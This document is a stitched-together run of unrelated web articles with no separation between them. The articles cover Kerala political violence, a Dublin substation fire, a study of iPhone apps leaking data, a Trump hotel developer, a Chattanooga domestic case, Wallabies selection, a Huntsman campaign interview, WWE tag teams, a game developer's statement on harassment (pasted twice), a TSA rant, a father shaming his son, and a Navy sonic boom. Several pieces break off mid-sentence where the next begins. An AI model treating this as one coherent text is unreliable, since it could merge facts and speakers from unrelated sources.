Just as in the rest of India, criminal activities of gau-rakshaks get fuelled and enjoy impunity because of the backing of the top leadership of the Sangh, so also in Kerala, where the criminal attacks by the RSS are sought to be protected by the top leadership of the RSS and BJP. Mohan Bhagwat, in his Vijayadashami address, advises gau-rakshaks not to be concerned by comments of the Supreme Court against their activities, and Amit Shah rallies the top-most leaders of his party to defend the violent activities of the RSS in Kerala. This is their DNA.The people of Kerala are familiar with this DNA. The first political murder by the RSS in Kerala was in 1968 when they killed a CPI(M) worker, C P Sulaiman, in Kozhikode district. The RSS chose Thalassery Taluk in the Kannur district of north Kerala as a special target for spreading its politics of hate and violence because of the area's social demography. A communal riot was orchestrated in Thalassery in December, 1971. The usual RSS methods of spreading lies about Muslim attacks on Hindu women, as well as attacks on temples, were utilized to rouse communal feelings against the substantial minority population of the area. Communist worker UK Kunhiraman was brutally killed by the RSS when he was defending a mosque against the RSS hordes. According to the Joseph Vithayathil Commission set up to inquire into the riots, it was the role of Communists which allowed the violence to be contained while it was the RSS which sought to rouse communal feelings and disrupt communal harmony. The Commission clearly blamed the RSS for the violence.From 1971 to 2017, on this aspect, not much has changed - the role of both have remained the same. The role of communists is to defend communal harmony and the role of the RSS is to disrupt it.But there are other things to be done. Kerala has taken great strides in new and innovative initiatives for people's development. Building on the strong base created by earlier Left-led Governments in Kerala, the present government has a special programme to strengthen the public education and public health systems in Kerala. The government has set up four missions with substantive budgetary allocations to strengthen the social sector, to provide employment opportunities and to invigorate the agricultural sector.Communist leaders Pinarayi Vijayan in Kerala and Manik Sarkar in Tripura as Chief Ministers have shown by example and policy how an alternative people-centred policy framework can be conceived and implemented even within the limited resources and powers available to a state government. That is why Amit Shah and his fellow Sangh Parivar leaders are running a personalized and vicious campaign against them.Instead of following such a destructive agenda, it would be good if they studied the Kerala or Tripura models more closely. For example, the UP Chief Minister might well learn from the health system in Kerala how to prevent the horror of infant deaths in Gorakhpur. Raghubar Das, Jharkhand Chief Minister, could learn how the implementation of the Forest Rights Act for tribals in Tripura, backed by added initiatives by the state government, can bring a huge advance in the lives and livelihood of tribal communities.But for that, Amit Shah and company would have to remind themselves that the motto is satya not asatya mev jayate.Brinda Karat is a Politburo member of the CPI(M) and a former Member of the Rajya Sabha.Updated 7.48am
ALL POWER HAS been restored in the Inchicore area of west Dublin following a dramatic explosion and fire at an ESB sub station last night.
Emergency services responded to the blaze at the sub station on Kylemore Way in the Inchicore area of west Dublin at 7.20pm.
The ESB has confirmed that full power has been restored in the area. About 15,000 customers had been left without supply in the wake of the fire.
Any customers heading BACK to #Dublin this evening all those affected by the substation fire have their supply back Apologies #staysafe — ESB Networks (@ESBNetworks) April 17, 2016 Source: ESB Networks /Twitter
There were no reports of any injuries, while the sub station itself was unmanned.
“At 7.20pm we began to receive numerous calls regarding a large explosion at the sub station,” a Dublin Fire Brigade (DFB) spokesperson said.
The facility is a 220kb substation which was well ablaze by the time we reached it. The ESB had isolated all electricity before we commenced our operation.
Units from Dolphin’s Barn, Tallaght, Tara Street and a foam unit from the North Strand were all present at the blaze, as 20,000 gallons of oil had been at risk, the spokesperson confirmed.
The cause of the fire is as yet unknown.
There had been a transformer fire at the station, an ESB spokesperson confirmed.
Source: Powercheck
Dublin Fire Brigade confirmed it had multiple units attending the scene.
DUBLIN: Care is advised on Bluebell Ave in due to a fire which can affect visibility.Take care in the area. https://t.co/EY0qAdZlYs — AA Roadwatch (@aaroadwatch) April 17, 2016 Source: AA Roadwatch /Twitter
ESB Networks crews also attended the scene, working in cooperation with firefighters.
Additional reporting Cianan Brennan
Originally published 19.50, 18 April 2016Last week it was discovered that a number of popular iPhone apps were invading users’ privacy and uploading entire address books to external servers. The data uploaded included full names, phone numbers and email addresses, and the offending apps never asked for permission to transfer this sensitive data. A group of researchers at the University of California at Santa Barbara and the International Security Systems Lab began a study last year to discover how and where iPhone apps were transmitting data, reports Forbes. The team found that one in five free apps in Apple’s App Store was uploading private data to external servers, and apps from Cydia, an app store for jailbroken iPhones, would leak private data less frequently than Apple-approved apps. Read on for more.
The study showed that 21% of apps tested from the App Store uploaded a user’s Unique Device Identifier, 4% uploaded the device’s location and 0.5% uploaded the user’s contact list. Just 4% of apps downloaded through Cydia uploaded a user’s UDID and one app — MobileSpy, which was specifically designed for espionage — out of the 500 tested leaked location and contact data. A table from the study showing how frequently authorized App Store and unauthorized Cydia apps leak private information follows below.
[Via Forbes]
ReadWhen the newest Trump hotel opens on Tuesday -- a glittering, 69-story, $360 million tower in Vancouver -- Eric and Donald Trump Jr. won't be the only sons of a tycoon in attendance.
The Trump name may be on the project, but the building was developed by Joo Kim Tiah, a 37-year-old real estate executive and scion of one of Malaysia's richest families.
The hotel, which also houses luxury condos, has been the site of anti-Trump protests.
Here are six things to know about Tiah.
He says pitching to the Trumps felt like reality TV
"It was quite similar to 'The Apprentice' when I had to go to the big boardroom," Tiah said in 2015, at a launch event. (Tiah declined an interview request from CNNMoney.)
He said he first had to win over three Trump children -- Donald Jr., Eric and Ivanka. He said he was told by Trump Organization executives ahead of time that the most important thing was to connect with Ivanka.
After passing that test, he sealed the deal in a final meeting with Donald Trump.
He bonded with Donald Trump Jr. over their dads
Tiah met Donald Jr. first, and said they found common ground in building careers at a family business.
"Me and Don Jr. have a lot of similarities," Tiah told a Vancouver business news website. "We're both second-generation people. We both have strong, dominant fathers who are very successful. How Don treats Don Jr. is very much how my dad treats me. It's firm. He's very tough on his kid. I can associate."
Related: There's one thing missing from the new Trump hotel
He found the U.S. presidential race'stressful'
Tiah came under pressure during the U.S. campaign to drop the Trump name from the Vancouver tower. "It was pretty stressful at that point of time," Tiah told the National Post newspaper. "I would say I have gone through what most developers would not go through in their lifetime of doing business."
He would rather stay out of politics.
"I am a businessman," he said. "My job is to ensure that my company grows and remains profitable and hence it is my job to get along with everyone, especially politicians that are in power."
Related: Controversial Trump hotel in Vancouver delayed
He became a CEO at 30
The Trump building is Tiah's first major property project. He has described it as "my opening party." He finalized the deal with the Trumps in 2013, when he was 34.
He had already become CEO of his family's real estate business in Vancouver at age 30. Last year, Tiah became CEO of Kuala Lumpur-based TA Global, the property offshoot of his father's financial services firm, TA Enterprise.
His father has a criminal record
Tiah's father, Tony Tiah, built his fortune by starting a financial services firm in 1990. Later that decade, the elder Tiah was implicated in a crackdown on corporate crime in Malaysia. In 2002, Tony Tiah was convicted of giving false information to the Kuala Lumpur Stock Exchange in a case related to stock brokerage Omega Holdings. He was fined 3 million ringgit, or about $675,000 at current exchange rates.
Tony Tiah is now executive chairman of TA Global, the company behind his son's real estate business.
He loves heavy metal
Tiah isn't only passionate about big real estate projects. He has played drums in a metal band and is happy to talk to interviewers about his favorite genres: death metal and metalcore.In the back of a police car at 2 a.m., Bobby Stone described how good it felt to hurl a rock through the rear windshield of his wife's car.
"I threw a rock through it, which was probably not a good move," he said, talking on a cellphone with an unidentified person. "But it felt good, particularly 'cause it had a Berke sticker on the window."
Bobby Stone leaves Judge Lila Statom's courtroom after having charges from a domestic violence dispute with his wife, Lacie Stone, dropped. Bobby Stone leaves Judge Lila Statom's courtroom after... Photo by Dan Henry /Times Free Press.
Bobby Stone rides in a police car on the night of an alleged domestic disturbance involving his his wife, top aide to Chattanooga Mayor Andy Berke, over allegations of an affair. Bobby Stone rides in a police car on... Photo by Contributed Photo /Times Free Press.
He chuckled.
That night, Bobby Stone accused his wife, Lacie Stone, of having an affair with Chattanooga Mayor Andy Berke. Lacie Stone works as an adviser to Berke; both have adamantly denied the affair.
The phone conversation in the early hours of May 21 was recorded by the patrol car's video camera and released Tuesday as part of the police department's entire investigative file into the domestic incident.
On the night of May 20, the Stones got into a domestic dispute over Lacie Stone's cellphone. Bobby Stone said he believed she was texting Berke and demanded to see the phone, but Lacie Stone refused. The pair then wrestled over the phone, which was smashed during the incident.
As Lacie Stone was leaving, Bobby Stone threw what appeared to be a cantaloupe-sized rock through her back windshield. Lacie Stone called her neighbor, Chattanooga Police Chief Fred Fletcher, and said her husband was going to kill her.
Fletcher reported the incident and Bobby Stone was arrested and charged with domestic assault and vandalism. Both charges were dismissed on Oct. 21, and he no longer faces criminal prosecution.
The charges were dismissed, in part, because officers failed to inform Bobby Stone of his right to remain silent and because Lacie Stone gave inconsistent statements to police, according to a memorandum filed in court.
Lacie Stone spoke with police on the night of the incident, but then initially failed to appear for a scheduled follow-up interview. She later did meet with police. She gave a different version of events to Fletcher than to investigators that night, and those statements also differed from those in her follow-up interview.
Fletcher said Lacie Stone told him that her husband was going to kill her and had choked her. But when officers arrived at the home, she told them she and her husband wrestled over the phone but he didn't assault her.
Lacie Stone, center, watches as her husband, Bobby Stone, appears in Judge Lila Statom's courtroom to have charges from a domestic violence dispute with her dropped. Lacie Stone, center, watches as her husband, Bobby... Photo by Dan Henry /Times Free Press.
Mayor Andy Berke speaks to media outside Calvary Chapel about a domestic assault case involving his advisor Lacie Stone and her husband, Bobby, after the mayor appeared at the Chattanooga Police Department's annual awards ceremony on Thursday, May 26, 2016, in Chattanooga. Berke declined to answer questions about the case, citing its ongoing nature. Mayor Andy Berke speaks to media outside Calvary... Photo by Doug Strickland /Times Free Press.
At her follow-up interview four days later, Lacie Stone said she was bruised when she and her husband fell over a fence together while fighting over the phone and that he grabbed her arms. She said she fell down some stairs while trying to leave, and he dragged her out the door.
The case file includes photos previously obtained by the Times Free Press that depict Lacie Stone with bruises on her arms, wrist, back, chest, upper leg, face and thigh. In one picture of her elbow, Lacie Stone appears to have four fingerprint-sized discolorations on her skin. Other photos show Bobby Stone pointing to cuts on his hands and leg.
The case file largely reiterates details that have already been disclosed, but does reveal some new facts, including:
* Bobby Stone had blood on his shorts, and his T-shirt was torn when police arrived at his home. He told police it was his own blood. There was also blood around Lacie Stone's broken windshield.
* Lacie Stone told police her husband was delusional, paranoid and making outrageous claims.
* Lacie Stone told police her husband did check the texts on her phone and became irate when he couldn't find proof of an affair. She said he accused her of using an app to hide her communications.
On Tuesday, Bobby Stone again claimed that Lacie Stone and Berke were using a cellphone app to hide inappropriate communication.
"The city would like you to think that their release is the complete story," Bobby Stone said in a text message. "But there's an entire dark layer of secret communications between the mayors [sic] top staff and CPD that they have not released and likely deleted."
Lacie Stone did not return a request for comment Tuesday. She has previously asked for privacy.
Ever since the incident in May, Bobby Stone has maintained that Fletcher and Berke worked to cover up the alleged affair. Fletcher and Berke have denied those allegations.
The case prompted Hamilton County District Attorney General Neal Pinkston to ask the Tennessee Bureau of Investigation to look into how Fletcher and the mayor handled the incident, saying that some of Ber |
in hand.
England forwards refused to over-commit at the ruck and held their Hadrian’s Wall, and the Wallabies’ forwards were sucked into aimless one-out running at a well-prepared defence.
As a general skill-set three key fundamentals were missing: capability to offload; ability to pick and go; and provide a supporting runner/options for the ball-carrier.
Some of these skills are paramount to succeeding at Test level, and again highlight the Wallabies’ struggle to find a No.8 who can carry and offload, a la Toutai Kefu and Viliami Ofahengaue.
Secondly, Michael Cheika would have wished he could have turned back the clock and recalled ‘Mr Pick and Go’ himself, Jim Williams, a master exponent of a dying art in Australian forward play.
Irrespective of whether the team have capability to perform the two tasks above, it does not excuse the lack of support play – runners don’t have to receive the ball, but can distract the defenders just enough to ensure an advance over the gain line.
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Last week, I cheekily suggested George Smith should be recalled, but also had Leroy Houston in as a genuine No.8 alternative.
I would have him in the team this week – we simply do not have any other No.8s and again, Wycliff Palu is not the option to take the team forward.
I would be interested to see how this changes the dynamic of the pack. Dean Mumm would also come in for Rory Arnold.
1. James Slipper
2. Stephen Moore
3. Sekope Kepu
4. Sam Carter
5. Dean Mumm
6. Scott Fardy
7. Michael Hooper
8. Leroy Houston
In closing on the pack, getting over the advantage line (and not crashing into it) provides front-foot ball, and give backs some space to take a key first step forward and not sideways.
Speaking of lateral movement, Roarers have given significant feedback into the structure of the current Wallabies’ back-line.
A Test standard full-back should have the ability and judiciousness to either counter-attack with ball in hand or play the territory card with the kick.
With Israel Folau at the back, defenders can fairly easily line up a one-dimensional approach to his game. I don’t want to knock Australia’s only world-class player (sans David Pocock with injury), but Folau freakish talents are best employed at No.13, and his lack of kicking game is an absolute killer against well-structured sides.
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I appreciate it is a difficult trade-off, as under the high-ball there is no one better, but Australia would have more diverse running patterns with him at outside-centre.
I would also move Kerevi to the wing. I really like his game and he could be anything working in broken play in a bit more space. Managing Folau and Kerevi on one side would be a defender’s nightmare.
Dane Haylett-Petty should be given the chance to have a crack at his preferred position and bring a more traditional No.15 role to the team.
I would also have Christian Lealiifano as the second playmaking option. He hasn’t (a huge hole in Cheika’s gameplan) been given time to form a combination with Bernard Foley. We need a dual playmaker set-up.
Tevita Kuridrani has been a big disappointment this year (including for the Brumbies) and is omitted.
With that in mind, I would have the backs running out like this.
9. Nick Phipps (noting a very poor passing game)
10. Bernard Foley
11. Rob Horne
12. Christian Lealiifano
13. Israel Folau
14. Samu Kerevi
15. Dane Haylett-Perry
As a final comment, Michael Hooper (as acting captain) made a very poor decision to not take a guaranteed three points when scores were 13-7 at the 63rd minute.
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The Wallabies needed some reward for territorial dominance and in a game with the slippery ball you need to take the bankable on offer.
Simple, smart wet weather football. I admire Hooper as a combative player but his leadership and decision-making can sometimes be rash.
While Cheika deserves the heat for a collective poor playing and coaching performance – he still has my vote as the man to turn things around.
Again, it just shows that our talent is spread too thinly across the playing group at the moment. You can only work with the cattle you have, and when a few guys from last year’s Rugby World Cup are not there (Pocock, Kurtley Beale, Matt Giteau, Drew Mitchell), we are scraping the bottom of the Meadow-Lea container.
In a striking parallel of timing to the prime minsiter Malcolm Turnbull, the honeymoon is most certainly over for Mr Cheika.Jon Huntsman’s top foreign policy advisor gives his take on the level of debate so far in the primaries.
I’ve headed home from a very snowy New Hampshire yesterday (I’m wondering what impact that would have had on turnout had it happened a couple of days earlier – I suspect Ron Paul would have been better off). But before I left, I asked Republican candidate Jon Huntsman’s top foreign and defense policy advisor, Randy Schriver, what he made of the campaign so far.
U.S. presidential elections are rarely, if ever, won and lost on foreign policy issues (it’s the economy, stupid), but a lack of foreign policy knowledge can undoubtedly help undermine a candidate’s efforts to project the necessary presidential gravitas (think ex-candidate Herman Cain’s worries about China becoming a nuclear power).
So what did Schriver think about the level of debate so far?
“The quality of the debate is, of course, a function of the quality of the candidates. In this regard, Gov. Huntsman outclasses the field and brings hands-on experience as a diplomat, a trade official and a private businessman,” he told me. “He has raised the quality of debate through putting forward creative yet practical ideas while other candidates have been unable to resist the urge to pander and seek the easy applause lines.”
Unfortunately in U.S. politics, ignorance is sometimes worn as a badge of honor, and Huntsman’s service as ambassador to China under Barack Obama has drawn criticism even from candidates who should know better. China’s rise is undoubtedly the biggest story in the big story of Asia, and having someone with such hands on experience is clearly preferable to the blustering, counterproductive posturing of the “will he, won’t he?” non-candidate Donald Trump.
But are Americans paying attention to the candidates’ foreign policy stances?
“Most American are focused on the economy and jobs – but in reality, these issues are interrelated with foreign policy,” Schriver told me, adding that Huntsman has been keen to emphasize the importance of putting trade and economics at the forefront of U.S. international efforts. “[He] will continue to articulate that view so that the voters do see the linkage and understand better why we need to get back in the trade game.”
And of course, as important as China is, there’s been plenty going on in just the past month or so for whoever is elected (or reelected) to get his teeth into. What does Schriver think are some the things that have perhaps been a little overlooked?
“There are several issues we are watching carefully such as the situation in Iran, as they have threatened to close the Strait of Hormuz, and North Korea as they implement an uncertain leadership transition,” he said. “I think there’s a chance the discussion could also broaden out, rather than get more issues specific.”
Moving closer to the election, he argued that it will become clear “that President Obama has a different vision for the United States in the world, and essentially sees his task as managing our decline.”
“Gov. Huntsman believes the world is a better place when America leads, and our interests are best served when America leads. That premise would inform his overall approach to foreign policy.”
Expect that theme of whether Obama really believes in America’s calling – and right – to lead the world to come up again in this campaign.Shares
The main reason for writing this series was to shine a spotlight on the wrestlers who don’t get the credit they deserve. And despite the star power and tenure of this week’s pick, I still feel that “unsung heroes” is an appropriate description for Cesaro and Sheamus. They’re a big act already, I hear you say. They’re the tag team champions, you cry. But when you look at how they are always the “other” attraction in the programs they are in, with all the focus and plaudits being aimed towards their opponents, you may begin to realize that they haven’t been given the praise that is owed to them.
It all started nearly eighteen months ago when both men, billed as singles competitors at the time, were unhappy with their place in Raw’s hierarchy. General Manager Mick Foley felt the best way to settle this would be a best of seven series, with the winner being awarded a championship opportunity. When the series ended in a stalemate, Foley thought the best option would be to pair them up and aim for the tag team titles. At the time, it must have felt like a slap in the face for the characters. In hindsight, putting the two men together was the best thing for them.
The comedy aspect of their “good cop bad cop” act was humorous enough, adopting the gimmick that The Miz and “Mizdow” used to get cheers for one and jeers for the other. They were petty at times and individually wanted the limelight all for themselves. But the real success came when they started to take their run together more seriously. They quickly put aside their differences and became a very well oiled machine inside the ropes, as well as in their backstage segments or promos. They had each other’s backs in a way that few partnerships do. That reliance upon and the chemistry between each other was what helped them become a credible force in the tag team division. But despite this, has their work rate been appreciated as much as it should?
Look at their lead up to Wrestlemania, where they were an afterthought in the never-ending saga between Gallows & Anderson, and Enzo & Cass. Look at their conflict with The Hardyz after Wrestlemania, where their half-hour iron-man and tag team cage matches were much better than they should have been. And lastly, look at their excellent feud with Dean Ambrose and Seth Rollins over the Summer and Autumn. The Bar’s singling out and attacking these two characters was the catalyst the former warring brothers reuniting, and for any Shield fans out there, they should be thankful for that act alone!
The point I’m trying to get across here is that the above programs have increased in stake as the year has gone on, as has the quality of bouts. The Bar has been the common denominator the whole time. A constant in the wobbly world of WWE’s lack of consistency.
The Bar vs Seth and Dean at Summerslam this year was touted as the match of the night, and their re-match at No Mercy the following month was considered even better by some. I have no problem with the Shield members being critically praised for these matches because they should be. Their chemistry together is insane. However there was another team in those matches, in case anyone forgot., It’s clear to me that Dean and Seth’s victories wouldn’t have been as emotionally uplifting if it wasn’t for the adversity that Cesaro and Sheamus brought to the feud.
Allow me to break down the wall of Kayfabe for a moment, and discuss Cesaro putting Beachball Mania to sleep at that Summerslam match. This angle was a major selling point for the “Big Four” PPV. It was given a lot of time on Raw leading up to the show, was a championship match, and it was the story of the reunion of Dean Ambrose and Seth Freakin’ Rollins, for crying out loud! Surely that’s enough to garner the attention of one and all. Frustratingly, the match started with a portion of the crowd decided throwing a beach ball around the arena was more exciting than the reasons mentioned above. Like myself and many others, Cesaro saw this as an insult to the story that had been told over the last few weeks, and the story that was about to be told in the ring. This was an amazing moment, and Cesaro should be applauded for it. He should also be applauded for somehow managing to rip apart a blown up beach ball. That’s up there with ripping up a telephone directory for sure!
Another instance of The Bar being treated as an afterthought came last month in the build to Survivor Series. I was one of the many fans salivating at the prospect of pitting two-thirds of The Shield against The Usos, who are currently enjoying the form of their career. When Cesaro and Sheamus dethroned Dean and Seth on Raw a few weeks ago, many fans were unhappy that they wouldn’t be getting the aforementioned match. I would have loved to see that match as well, but remember that The Bar has been the common denominator in Raw’s tag team scene this year. There was no reason to think that they wouldn’t put on a good show with The Usos at Survivor Series. It wasn’t the best match of both teams’ 2017, but it was still a solid affair. Its only downside for me was that it would probably take a few more meetings between the four men before they delivered a classic, of which I’m confident they would have been able to do.
As we approach the end of 2017, the future for the current tag champs is something of deep concern. News has surfaced that Sheamus is dealing with spinal stenosis; a condition that had a devastating impact on the careers of Edge and Steve Austin. If the reports are true, then this is heartbreaking news for a man who has had one of the more successful and critically acclaimed years in his time with the company. For his own health, it is best that Sheamus lightens his schedule – maybe even take some proper time off – to get the treatment he needs to ensure his career isn’t cut short far too early.
This may mean the end of a tag team that has brought me much enjoyment, and if Sheamus does indeed need time off, then I can’t see Cesaro being given the same amount of exposure in singles competition that he’s had as part of a unit. The main event scene is as crowded as ever, so it’s anyone’s guess what 2018 could hold for the Swiss Superman. It’s definitely a disappointing outcome for Cesaro as well as Sheamus. This calendar year has had more tag teams break up than I care to think about, and I wouldn’t want to add another to the list due to injury.
Tag team wrestling on the main roster in 2017 has thrived, and it would be unjust to believe that Cesaro and Sheamus weren’t an important factor in that. Cesaro and Sheamus didn’t just set the bar. They raised the bar.
You can read more of my columns right here on socialsuplex.com, as my “Unsung Heroes of 2017” draws to a close in time for the new year.
Additionally, you can hear my opinions on all things WWE in “The Ricky & Clive Wrestling Show”, one of the podcasts that make up the Social Suplex network.I will not negotiate with terrorists. a guest Aug 19th, 2014 43,757 Never a guest43,757Never
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rawdownloadcloneembedreportprint text 5.44 KB This has nothing to do with games and is not a matter of legitimate public interest, but is simply a personal matter. I would hope and request that the games press be respectful of what IS a personal matter, and not news. This is explicitly about my private life, which has been regrettably forced into the public and framed by people who pose a threat to my safety and well being as well as that of the people I love. I would hope that the effort people have gone through to dress it up as anything more would not be enough to have those who see it for what it is take the bait. I am not going to link to, or address anything having to do with the validity of the specific claims made by an angry ex-boyfriend with an axe to grind and a desire to use 4chan as his own personal army. This is not a “she-said” to his “he-said”. The idea that I am required to debunk a manifesto of my sexual past written by an openly malicious ex-boyfriend in order to continue participating in this industry is horrifying. It’s a personal matter that never should have been made public, and I don’t want to delve into personal shit while saying that people’s love and sex lives are no one’s business. I’m not going to talk about it. What I am going to say is that the proliferation of nude pictures of me, death threats, vandalization, doxxing of my trans friends for having the audacity to converse with me publicly, harassment of friends and family and my friends’ family, sending my home address around, rape threats, memes about me being a whore, pressures to kill myself, slurs of every variety, debates over what my genitals smell like, vultures trying to make money off of youtube videos about it, all of these things are inexcusable and will continue to happen to women in games until this culture changes. Because I’ve sat behind computer screens trying to make games, every aspect of my life is suddenly a matter of public concern. Suddenly it’s acceptable to share pictures of my breasts on social media to threaten and punish me. Suddenly I don’t have any right to privacy or basic dignity. Suddenly I don’t get to live out normal parts of life, like going through a bad and ugly breakup in private. I have forfeited this by being a “public figure” in a small community, while those who delight in assailing me hide behind their keyboards and a culture that permits it, beyond reproach. My life and my body are not public property. No one’s life and body are public property. Sexuality is one of the most personal, hurtful, and easy things to demonize a woman over, and also has nothing to do with my games. Yet large swaths of the gaming community are either unable or unwilling to separate the two. I’m convinced that my ex chose 4chan as the staging ground for his campaign of harassment and character assassination because he knew this; he knew that someone claiming to be “from the Internet” has shown up at my house once already, and he is counting on the most reviled hubs of our community to live up to their sordid reputations. This is another example of gendered violence, whereby my personal life becomes a means to punish my professional credentials and to try to shame me into giving up my work. I'm committed to doing my small part to create a world where no woman is at risk of experiencing this. That said, I am thankful that even boards with a reputation for being the most hostile places online have been able to tell the intent behind these threads and banned them outright, seeing the hate speech for what it is, and not-news for what it is. As much as those leading the charge against me will do mental backflips to make posting pictures of my tits about “ethics in games journalism”, the real agenda is plain as day if you give it even a moment of sincere critical thought. No one who would terrorize someone and the totally uninvolved people they love in this way on such a massive and public scale could ever honestly claim to be interested in "ethics" of any kind. These kinds of accusations have been levied against any woman of status in any industry, ever. I have been judged because, if you are a woman, you are expected to constantly “prove” yourself, and even mere accusations can somehow undo all the good you’ve done and justify any measure of depraved brutality against you. Meanwhile, I see major support constantly thrown the way of my male colleagues when they are accused of any sort of wrongdoing. Neither of these attitudes is correct, and they are patently unfair and reductive. Nobody exists in a vacuum, and anyone can change and grow into a better person. Heroes and villains don’t exist - just regular boring-ass people with scars and fuckups and moments of brilliance. And every single boring-ass person deserves the space to keep personal matters private and handled outside the shark tank of anonymous internet boards. Once again, I will not be addressing the specific validity of any statements about my personal life. If you have good-faith questions or doubts, I am more than happy to discuss private matters in private, where they belong. But I refuse to be coerced into making my private life or anyone’s private life a matter of public record, and I refuse to be continually emotionally terrorized by people who have long decided to hate me regardless of the truth. I'm looking forward to moving on and getting back to work. To the people who support my work and can see this crusade for what it is, thank you from the bottom of my heart.
RAW Paste Data
This has nothing to do with games and is not a matter of legitimate public interest, but is simply a personal matter. I would hope and request that the games press be respectful of what IS a personal matter, and not news. This is explicitly about my private life, which has been regrettably forced into the public and framed by people who pose a threat to my safety and well being as well as that of the people I love. I would hope that the effort people have gone through to dress it up as anything more would not be enough to have those who see it for what it is take the bait. I am not going to link to, or address anything having to do with the validity of the specific claims made by an angry ex-boyfriend with an axe to grind and a desire to use 4chan as his own personal army. This is not a “she-said” to his “he-said”. The idea that I am required to debunk a manifesto of my sexual past written by an openly malicious ex-boyfriend in order to continue participating in this industry is horrifying. It’s a personal matter that never should have been made public, and I don’t want to delve into personal shit while saying that people’s love and sex lives are no one’s business. I’m not going to talk about it. What I am going to say is that the proliferation of nude pictures of me, death threats, vandalization, doxxing of my trans friends for having the audacity to converse with me publicly, harassment of friends and family and my friends’ family, sending my home address around, rape threats, memes about me being a whore, pressures to kill myself, slurs of every variety, debates over what my genitals smell like, vultures trying to make money off of youtube videos about it, all of these things are inexcusable and will continue to happen to women in games until this culture changes. Because I’ve sat behind computer screens trying to make games, every aspect of my life is suddenly a matter of public concern. Suddenly it’s acceptable to share pictures of my breasts on social media to threaten and punish me. Suddenly I don’t have any right to privacy or basic dignity. Suddenly I don’t get to live out normal parts of life, like going through a bad and ugly breakup in private. I have forfeited this by being a “public figure” in a small community, while those who delight in assailing me hide behind their keyboards and a culture that permits it, beyond reproach. My life and my body are not public property. No one’s life and body are public property. Sexuality is one of the most personal, hurtful, and easy things to demonize a woman over, and also has nothing to do with my games. Yet large swaths of the gaming community are either unable or unwilling to separate the two. I’m convinced that my ex chose 4chan as the staging ground for his campaign of harassment and character assassination because he knew this; he knew that someone claiming to be “from the Internet” has shown up at my house once already, and he is counting on the most reviled hubs of our community to live up to their sordid reputations. This is another example of gendered violence, whereby my personal life becomes a means to punish my professional credentials and to try to shame me into giving up my work. I'm committed to doing my small part to create a world where no woman is at risk of experiencing this. That said, I am thankful that even boards with a reputation for being the most hostile places online have been able to tell the intent behind these threads and banned them outright, seeing the hate speech for what it is, and not-news for what it is. As much as those leading the charge against me will do mental backflips to make posting pictures of my tits about “ethics in games journalism”, the real agenda is plain as day if you give it even a moment of sincere critical thought. No one who would terrorize someone and the totally uninvolved people they love in this way on such a massive and public scale could ever honestly claim to be interested in "ethics" of any kind. These kinds of accusations have been levied against any woman of status in any industry, ever. I have been judged because, if you are a woman, you are expected to constantly “prove” yourself, and even mere accusations can somehow undo all the good you’ve done and justify any measure of depraved brutality against you. Meanwhile, I see major support constantly thrown the way of my male colleagues when they are accused of any sort of wrongdoing. Neither of these attitudes is correct, and they are patently unfair and reductive. Nobody exists in a vacuum, and anyone can change and grow into a better person. Heroes and villains don’t exist - just regular boring-ass people with scars and fuckups and moments of brilliance. And every single boring-ass person deserves the space to keep personal matters private and handled outside the shark tank of anonymous internet boards. Once again, I will not be addressing the specific validity of any statements about my personal life. If you have good-faith questions or doubts, I am more than happy to discuss private matters in private, where they belong. But I refuse to be coerced into making my private life or anyone’s private life a matter of public record, and I refuse to be continually emotionally terrorized by people who have long decided to hate me regardless of the truth. I'm looking forward to moving on and getting back to work. To the people who support my work and can see this crusade for what it is, thank you from the bottom of my heart.These are all true stories, every single panel. I did overhear a TSA agent laughing about a dildo in a carryon bag on the X-ray conveyor belt. My husband did get detained because the TSA determined that gluten free flour tested positive for explosives. A TSA agent did take my unopened packages of hummus and yogurt, insisting they were liquids, because, if you turned them upside down, they would fall out. My father does say what he says in panel 4, female Israeli soldiers with Uzis do interrogate you if you walk through the door of El Al, and I really did accidentally carry a switchblade through security, and a TSA agent really did find it, decide it couldn’t possibly be mine, and ask me what I wanted him to do.
Airport security in this country feels broken, perhaps because we’ve given the TSA so much power, and so many of those agent don’t seem especially intelligent, generating a system where ignorant bullies have carte blanche to take out their insecurities on people who just want to go see their families. It would be nice if we weren’t all treated like terrorists, considering that the TSA apparently couldn’t catch a terrorist if they ran naked through security with a stick of dynamite in their mouth. Everything about airline travel is pretty messed up, but security is just a joke. I can’t count the number of times people have told me they didn’t even realize they had knives in their bag until they got home. The TSA misses all the dangerous stuff, and then ruins people’s day over 3 bags of gluten free flour. Plus, they talk to you like you’re the idiot.
It’s frustrating, and all we can do about, as far as I can tell, is bitch on the Internet. I actually wrote the “hummus is liquid” story on one of my old blogs, and I get a lot of mileage out of the switchblade story at parties. We’ve given up real freedom for imaginary security.
AdvertisementsIf the whole world knows about about his son’s first theft, maybe there won’t be a second.
That’s what Joseph Gonzalez believes.
His 12-year-old son Jose took $100 from the wallet of his cousin at the family’s Aurora home. Jose’s punishment is spending many hours of his spring break standing on the corner of 22nd and Larimer streets in downtown Denver with a bright yellow sign announcing: “I am a thief. I took money from a family member.”
“He’s a good kid,” Gonzalez said. “This is the first time he’s done something like this. I hope it will be the last.”
His cousin worked hard to make that money, Gonzalez said.
Jose put in five hours of curbside confession Tuesday, standing across from his father’s pawnshop, where Gonzalez could keep an eye on him — and take him pizza slices.
He figures Jose, with drinks and bathroom breaks, should be able to put in 10 hours Thursday.
Gonzalez said he’s not worried about his son’s reputation.
“Nah, he’s only 12 years old,” he said. “Everybody makes mistakes at that time in their life. It’s about being corrected.”
Jose’s father, upon hearing of the missing $100, tracked down his son while he was waiting for the school bus. He pulled him aside. He questioned him. He figured out his son’s friend was holding the money for him. He retrieved it. That took an hour. Then he took his son to school to admit his crime to officials, including a police officer.
“The taking-responsibility part is cool, but the rest of this is not cool,” said Florida psychologist James Huysman, whose practice has included treating children publicly humiliated by reality-TV shows and other media attention. “This is about shame. In the old days, we used to just shame people, hang signs around their necks in public.”
Children, even at 12, are unable to gain insight from this kind of public atonement, he said.
“We just press the shame deeper into them,” he said.
Gonzalez said his son was “pretty sad at first” about the discipline.
“But then he took it like a little man,” he said.
He has raised his son alone since Jose was 3 years old. And Gonzalez believes in the Bible’s command to correct your child.
A father’s role includes appropriate discipline, Huysman said, but the father’s most important role is protecting his child from the rest of the world.
Electa Draper: 303-954-1276 or edraper@denverpost.comA loud boom on Wednesday generated calls to emergency agencies in Orange County, but authorities had trouble tracking down what caused it -- until the U.S. Navy confessed to being the culprit.
An earthquake was quickly ruled out as the cause.
"We reached out to Caltech, and they said it's not seismic; it's sonic-related,'' said Vicki Osborn, an assistant emergency manager in the sheriff's department.
2014 SoCal Images in the News
